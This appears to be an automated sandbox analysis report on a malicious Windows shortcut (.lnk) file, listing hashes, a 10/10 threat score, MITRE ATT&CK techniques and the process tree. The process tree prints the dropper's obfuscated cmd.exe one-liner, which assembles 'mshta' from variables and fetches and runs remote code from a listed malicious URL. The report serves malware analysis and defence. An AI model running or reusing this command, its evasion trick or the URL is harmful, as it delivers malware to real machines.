a02fb0ce079624b0ee19cd059eb3851c9478b4598c52f38f9abf9a698528424b

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
03/08/2026, 13:03

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General

Target
DOC-2DF1GS.lnk
Size 1KB
Sample260803-qabfcazwhy
SHA256 a02fb0ce079624b0ee19cd059eb3851c9478b4598c52f38f9abf9a698528424b
MD5 fe93f71c38e989024ce0f66716f578eb
SHA1 be3a2edd7667cdb02e84001836505091d1b1a8b4
SHA512 bb3039cbfd74b9fa6321fe5b6ead53189761290501741d2ad77762872060b0cc4cd2746467af5d986fdfb18ff446ba9234bde02ce5419159a5b7b9361fd74df5
TLSH
T16D3176503FFD0628F3F79E7784BB5B2089BBB8668E21C61E0151464C1032A14E57AFAB
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://bo-pdffiler.lat/h/estagio1.php?r=360761F15794

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4692	cmd.exe
4248	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4692 wrote to memory of 4248	4692	cmd.exe	86
PID 4248 wrote to memory of 4272	4248	cmd.exe	87

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-2DF1GS.lnk
1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4692
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /V:on /c "set tgch=msh&&set tO=ta&&start "" !tgch!!tO! https://bo-pdffiler.lat/h/estagio1.php?r=360761F15794"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4248
- - C:\Windows\System32\mshta.exe
    mshta https://bo-pdffiler.lat/h/estagio1.php?r=360761F15794
    3⤵
    PID:4272

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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